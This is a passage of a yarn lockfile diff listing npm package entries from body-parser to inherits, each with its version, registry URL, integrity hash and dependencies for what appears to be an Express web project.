sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg== + dependencies: + safe-buffer "5.1.2" + +body-parser@1.18.3: + version "1.18.3" + resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.18.3.tgz#5b292198ffdd553b3a0f20ded0592b956955c8b4" + integrity sha512-YQyoqQG3sO8iCmf8+hyVpgHHOv0/hCEFiS4zTGUwTA1HjAFX66wRcNQrVCeJq9pgESMRvUAOvSil5MJlmccuKQ== + dependencies: + bytes "3.0.0" + content-type "~1.0.4" + debug "2.6.9" + depd "~1.1.2" + http-errors "~1.6.3" + iconv-lite "0.4.23" + on-finished "~2.3.0" + qs "6.5.2" + raw-body "2.3.3" + type-is "~1.6.16" + +brace-expansion@^1.1.7: + version "1.1.11" + resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd" + integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA== + dependencies: + balanced-match "^1.0.0" + concat-map "0.0.1" + +bytes@3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048" + integrity sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw== + +cacache@^15.2.0: + version "15.3.0" + resolved "https://registry.yarnpkg.com/cacache/-/cacache-15.3.0.tgz#dc85380fb2f556fe3dda4c719bfa0ec875a7f1eb" + integrity sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ== + dependencies: + "@npmcli/fs" "^1.0.0" + "@npmcli/move-file" "^1.0.1" + chownr "^2.0.0" + fs-minipass "^2.0.0" + glob "^7.1.4" + infer-owner "^1.0.4" + lru-cache "^6.0.0" + minipass "^3.1.1" + minipass-collect "^1.0.2" + minipass-flush "^1.0.5" + minipass-pipeline "^1.2.2" + mkdirp "^1.0.3" + p-map "^4.0.0" + promise-inflight "^1.0.1" + rimraf "^3.0.2" + ssri "^8.0.1" + tar "^6.0.2" + unique-filename "^1.1.1" + +call-bind@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.2.tgz#b1d4e89e688119c3c9a903ad30abb2f6a919be3c" + integrity sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA== + dependencies: + function-bind "^1.1.1" + get-intrinsic "^1.0.2" + +camelcase@^1.0.2: + version "1.2.1" + resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-1.2.1.tgz#9bb5304d2e0b56698b2c758b08a3eaa9daa58a39" + integrity sha512-wzLkDa4K/mzI1OSITC+DUyjgIl/ETNHE9QvYgy6J6Jvqyyz4C0Xfd+lQhb19sX2jMpZV4IssUn0VDVmglV+s4g== + +center-align@^0.1.1: + version "0.1.3" + resolved "https://registry.yarnpkg.com/center-align/-/center-align-0.1.3.tgz#aa0d32629b6ee972200411cbd4461c907bc2b7ad" + integrity sha512-Baz3aNe2gd2LP2qk5U+sDk/m4oSuwSDcBfayTCTBoWpfIGO5XFxPmjILQII4NGiZjD6DoDI6kf7gKaxkf7s3VQ== + dependencies: + align-text "^0.1.3" + lazy-cache "^1.0.3" + +character-parser@^2.1.1: + version "2.2.0" + resolved "https://registry.yarnpkg.com/character-parser/-/character-parser-2.2.0.tgz#c7ce28f36d4bcd9744e5ffc2c5fcde1c73261fc0" + integrity sha512-+UqJQjFEFaTAs3bNsF2j2kEN1baG/zghZbdqoYEDxGZtJo9LBzl1A+m0D4n3qKx8N2FNv8/Xp6yV9mQmBuptaw== + dependencies: + is-regex "^1.0.3" + +chownr@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/chownr/-/chownr-2.0.0.tgz#15bfbe53d2eab4cf70f18a8cd68ebe5b3cb1dece" + integrity sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ== + +clean-css@^3.3.0: + version "3.4.28" + resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-3.4.28.tgz#bf1945e82fc808f55695e6ddeaec01400efd03ff" + integrity sha512-aTWyttSdI2mYi07kWqHi24NUU9YlELFKGOAgFzZjDN1064DMAOy2FBuoyGmkKRlXkbpXd0EVHmiVkbKhKoirTw== + dependencies: + commander "2.8.x" + source-map "0.4.x" + +clean-stack@^2.0.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b" + integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A== + +cliui@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/cliui/-/cliui-2.1.0.tgz#4b475760ff80264c762c3a1719032e91c7fea0d1" + integrity sha512-GIOYRizG+TGoc7Wgc1LiOTLare95R3mzKgoln+Q/lE4ceiYH19gUpl0l0Ffq4lJDEf3FxujMe6IBfOCs7pfqNA== + dependencies: + center-align "^0.1.1" + right-align "^0.1.1" + wordwrap "0.0.2" + +color-support@^1.1.2, color-support@^1.1.3: + version "1.1.3" + resolved "https://registry.yarnpkg.com/color-support/-/color-support-1.1.3.tgz#93834379a1cc9a0c61f82f52f0d04322251bd5a2" + integrity sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg== + +commander@2.8.x: + version "2.8.1" + resolved "https://registry.yarnpkg.com/commander/-/commander-2.8.1.tgz#06be367febfda0c330aa1e2a072d3dc9762425d4" + integrity sha512-+pJLBFVk+9ZZdlAOB5WuIElVPPth47hILFkmGym57aq8kwxsowvByvB0DHs1vQAhyMZzdcpTtF0VDKGkSDR4ZQ== + dependencies: + graceful-readlink ">= 1.0.0" + +concat-map@0.0.1: + version "0.0.1" + resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b" + integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg== + +console-control-strings@^1.0.0, console-control-strings@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/console-control-strings/-/console-control-strings-1.1.0.tgz#3d7cf4464db6446ea644bf4b39507f9851008e8e" + integrity sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ== + +constantinople@^3.0.1: + version "3.1.2" + resolved "https://registry.yarnpkg.com/constantinople/-/constantinople-3.1.2.tgz#d45ed724f57d3d10500017a7d3a889c1381ae647" + integrity sha512-yePcBqEFhLOqSBtwYOGGS1exHo/s1xjekXiinh4itpNQGCu4KA1euPh1fg07N2wMITZXQkBz75Ntdt1ctGZouw== + dependencies: + "@types/babel-types" "^7.0.0" + "@types/babylon" "^6.16.2" + babel-types "^6.26.0" + babylon "^6.18.0" + +content-disposition@0.5.2: + version "0.5.2" + resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.2.tgz#0cf68bb9ddf5f2be7961c3a85178cb85dba78cb4" + integrity sha512-kRGRZw3bLlFISDBgwTSA1TMBFN6J6GWDeubmDE3AF+3+yXL8hTWv8r5rkLbqYXY4RjPk/EzHnClI3zQf1cFmHA== + +content-type@~1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b" + integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA== + +cookie-parser@~1.4.4: + version "1.4.6" + resolved "https://registry.yarnpkg.com/cookie-parser/-/cookie-parser-1.4.6.tgz#3ac3a7d35a7a03bbc7e365073a26074824214594" + integrity sha512-z3IzaNjdwUC2olLIB5/ITd0/setiaFMLYiZJle7xg5Fe9KWAceil7xszYfHHBtDFYLSgJduS2Ty0P1uJdPDJeA== + dependencies: + cookie "0.4.1" + cookie-signature "1.0.6" + +cookie-signature@1.0.6: + version "1.0.6" + resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c" + integrity sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ== + +cookie@0.3.1: + version "0.3.1" + resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.3.1.tgz#e7e0a1f9ef43b4c8ba925c5c5a96e806d16873bb" + integrity sha512-+IJOX0OqlHCszo2mBUq+SrEbCj6w7Kpffqx60zYbPTFaO4+yYgRjHwcZNpWvaTylDHaV7PPmBHzSecZiMhtPgw== + +cookie@0.4.1: + version "0.4.1" + resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.1.tgz#afd713fe26ebd21ba95ceb61f9a8116e50a537d1" + integrity sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA== + +core-js@^2.4.0: + version "2.6.12" + resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.12.tgz#d9333dfa7b065e347cc5682219d6f690859cc2ec" + integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ== + +debug@2.6.9, debug@~2.6.9: + version "2.6.9" + resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" + integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== + dependencies: + ms "2.0.0" + +debug@4, debug@^4.1.0, debug@^4.3.3: + version "4.3.4" + resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.4.tgz#1319f6579357f2338d3337d2cdd4914bb5dcc865" + integrity sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ== + dependencies: + ms "2.1.2" + +decamelize@^1.0.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290" + integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA== + +delegates@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/delegates/-/delegates-1.0.0.tgz#84c6e159b81904fdca59a0ef44cd870d31250f9a" + integrity sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ== + +depd@^1.1.2, depd@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" + integrity sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ== + +destroy@~1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80" + integrity sha512-3NdhDuEXnfun/z7x9GOElY49LoqVHoGScmOKwmxhsS8N5Y+Z8KyPPDnaSzqWgYt/ji4mqwfTS34Htrk0zPIXVg== + +detect-libc@^2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-2.0.1.tgz#e1897aa88fa6ad197862937fbc0441ef352ee0cd" + integrity sha512-463v3ZeIrcWtdgIg6vI6XUncguvr2TnGl4SzDXinkt9mSLpBJKXT3mW6xT3VQdDN11+WVs29pgvivTc4Lp8v+w== + +doctypes@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/doctypes/-/doctypes-1.1.0.tgz#ea80b106a87538774e8a3a4a5afe293de489e0a9" + integrity sha512-LLBi6pEqS6Do3EKQ3J0NqHWV5hhb78Pi8vvESYwyOy2c31ZEZVdtitdzsQsKb7878PEERhzUk0ftqGhG6Mz+pQ== + +ee-first@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d" + integrity sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow== + +emoji-regex@^8.0.0: + version "8.0.0" + resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37" + integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A== + +encodeurl@~1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59" + integrity sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w== + +encoding@^0.1.12: + version "0.1.13" + resolved "https://registry.yarnpkg.com/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9" + integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A== + dependencies: + iconv-lite "^0.6.2" + +env-paths@^2.2.0: + version "2.2.1" + resolved "https://registry.yarnpkg.com/env-paths/-/env-paths-2.2.1.tgz#420399d416ce1fbe9bc0a07c62fa68d67fd0f8f2" + integrity sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A== + +err-code@^2.0.2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/err-code/-/err-code-2.0.3.tgz#23c2f3b756ffdfc608d30e27c9a941024807e7f9" + integrity sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA== + +escape-html@~1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988" + integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow== + +esutils@^2.0.2: + version "2.0.3" + resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64" + integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g== + +etag@~1.8.1: + version "1.8.1" + resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887" + integrity sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg== + +express@~4.16.1: + version "4.16.4" + resolved "https://registry.yarnpkg.com/express/-/express-4.16.4.tgz#fddef61926109e24c515ea97fd2f1bdbf62df12e" + integrity sha512-j12Uuyb4FMrd/qQAm6uCHAkPtO8FDTRJZBDd5D2KOL2eLaz1yUNdUB/NOIyq0iU4q4cFarsUCrnFDPBcnksuOg== + dependencies: + accepts "~1.3.5" + array-flatten "1.1.1" + body-parser "1.18.3" + content-disposition "0.5.2" + content-type "~1.0.4" + cookie "0.3.1" + cookie-signature "1.0.6" + debug "2.6.9" + depd "~1.1.2" + encodeurl "~1.0.2" + escape-html "~1.0.3" + etag "~1.8.1" + finalhandler "1.1.1" + fresh "0.5.2" + merge-descriptors "1.0.1" + methods "~1.1.2" + on-finished "~2.3.0" + parseurl "~1.3.2" + path-to-regexp "0.1.7" + proxy-addr "~2.0.4" + qs "6.5.2" + range-parser "~1.2.0" + safe-buffer "5.1.2" + send "0.16.2" + serve-static "1.13.2" + setprototypeof "1.1.0" + statuses "~1.4.0" + type-is "~1.6.16" + utils-merge "1.0.1" + vary "~1.1.2" + +finalhandler@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.1.tgz#eebf4ed840079c83f4249038c9d703008301b105" + integrity sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg== + dependencies: + debug "2.6.9" + encodeurl "~1.0.2" + escape-html "~1.0.3" + on-finished "~2.3.0" + parseurl "~1.3.2" + statuses "~1.4.0" + unpipe "~1.0.0" + +forwarded@0.2.0: + version "0.2.0" + resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811" + integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow== + +fresh@0.5.2: + version "0.5.2" + resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7" + integrity sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q== + +fs-minipass@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb" + integrity sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg== + dependencies: + minipass "^3.0.0" + +fs.realpath@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f" + integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw== + +function-bind@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d" + integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A== + +gauge@^3.0.0: + version "3.0.2" + resolved "https://registry.yarnpkg.com/gauge/-/gauge-3.0.2.tgz#03bf4441c044383908bcfa0656ad91803259b395" + integrity sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q== + dependencies: + aproba "^1.0.3 || ^2.0.0" + color-support "^1.1.2" + console-control-strings "^1.0.0" + has-unicode "^2.0.1" + object-assign "^4.1.1" + signal-exit "^3.0.0" + string-width "^4.2.3" + strip-ansi "^6.0.1" + wide-align "^1.1.2" + +gauge@^4.0.3: + version "4.0.4" + resolved "https://registry.yarnpkg.com/gauge/-/gauge-4.0.4.tgz#52ff0652f2bbf607a989793d53b751bef2328dce" + integrity sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg== + dependencies: + aproba "^1.0.3 || ^2.0.0" + color-support "^1.1.3" + console-control-strings "^1.1.0" + has-unicode "^2.0.1" + signal-exit "^3.0.7" + string-width "^4.2.3" + strip-ansi "^6.0.1" + wide-align "^1.1.5" + +get-intrinsic@^1.0.2: + version "1.1.3" + resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.1.3.tgz#063c84329ad93e83893c7f4f243ef63ffa351385" + integrity sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A== + dependencies: + function-bind "^1.1.1" + has "^1.0.3" + has-symbols "^1.0.3" + +glob@^7.1.3, glob@^7.1.4: + version "7.2.3" + resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b" + integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q== + dependencies: + fs.realpath "^1.0.0" + inflight "^1.0.4" + inherits "2" + minimatch "^3.1.1" + once "^1.3.0" + path-is-absolute "^1.0.0" + +graceful-fs@^4.2.6: + version "4.2.10" + resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.10.tgz#147d3a006da4ca3ce14728c7aefc287c367d7a6c" + integrity sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA== + +"graceful-readlink@>= 1.0.0": + version "1.0.1" + resolved "https://registry.yarnpkg.com/graceful-readlink/-/graceful-readlink-1.0.1.tgz#4cafad76bc62f02fa039b2f94e9a3dd3a391a725" + integrity sha512-8tLu60LgxF6XpdbK8OW3FA+IfTNBn1ZHGHKF4KQbEeSkajYw5PlYJcKluntgegDPTg8UkHjpet1T82vk6TQ68w== + +has-symbols@^1.0.2, has-symbols@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8" + integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A== + +has-tostringtag@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.0.tgz#7e133818a7d394734f941e73c3d3f9291e658b25" + integrity sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ== + dependencies: + has-symbols "^1.0.2" + +has-unicode@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/has-unicode/-/has-unicode-2.0.1.tgz#e0e6fe6a28cf51138855e086d1691e771de2a8b9" + integrity sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ== + +has@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796" + integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw== + dependencies: + function-bind "^1.1.1" + +http-cache-semantics@^4.1.0: + version "4.1.0" + resolved "https://registry.yarnpkg.com/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz#49e91c5cbf36c9b94bcfcd71c23d5249ec74e390" + integrity sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ== + +http-errors@1.6.3, http-errors@~1.6.2, http-errors@~1.6.3: + version "1.6.3" + resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.6.3.tgz#8b55680bb4be283a0b5bf4ea2e38580be1d9320d" + integrity sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A== + dependencies: + depd "~1.1.2" + inherits "2.0.3" + setprototypeof "1.1.0" + statuses ">= 1.4.0 < 2" + +http-proxy-agent@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz#8a8c8ef7f5932ccf953c296ca8291b95aa74aa3a" + integrity sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg== + dependencies: + "@tootallnate/once" "1" + agent-base "6" + debug "4" + +https-proxy-agent@^5.0.0: + version "5.0.1" + resolved "https://registry.yarnpkg.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz#c59ef224a04fe8b754f3db0063a25ea30d0005d6" + integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA== + dependencies: + agent-base "6" + debug "4" + +humanize-ms@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/humanize-ms/-/humanize-ms-1.2.1.tgz#c46e3159a293f6b896da29316d8b6fe8bb79bbed" + integrity sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ== + dependencies: + ms "^2.0.0" + +iconv-lite@0.4.23: + version "0.4.23" + resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.23.tgz#297871f63be507adcfbfca715d0cd0eed84e9a63" + integrity sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA== + dependencies: + safer-buffer ">= 2.1.2 < 3" + +iconv-lite@^0.6.2: + version "0.6.3" + resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.6.3.tgz#a52f80bf38da1952eb5c681790719871a1a72501" + integrity sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw== + dependencies: + safer-buffer ">= 2.1.2 < 3.0.0" + +imurmurhash@^0.1.4: + version "0.1.4" + resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea" + integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA== + +indent-string@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/indent-string/-/indent-string-4.0.0.tgz#624f8f4497d619b2d9768531d58f4122854d7251" + integrity sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg== + +infer-owner@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/infer-owner/-/infer-owner-1.0.4.tgz#c4cefcaa8e51051c2a40ba2ce8a3d27295af9467" + integrity sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A== + +inflight@^1.0.4: + version "1.0.6" + resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9" + integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA== + dependencies: + once "^1.3.0" + wrappy "1" + +inherits@2, inherits@^2.0.3: + version "2.0.4" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c" + integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== + +inherits@2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de" + integrity 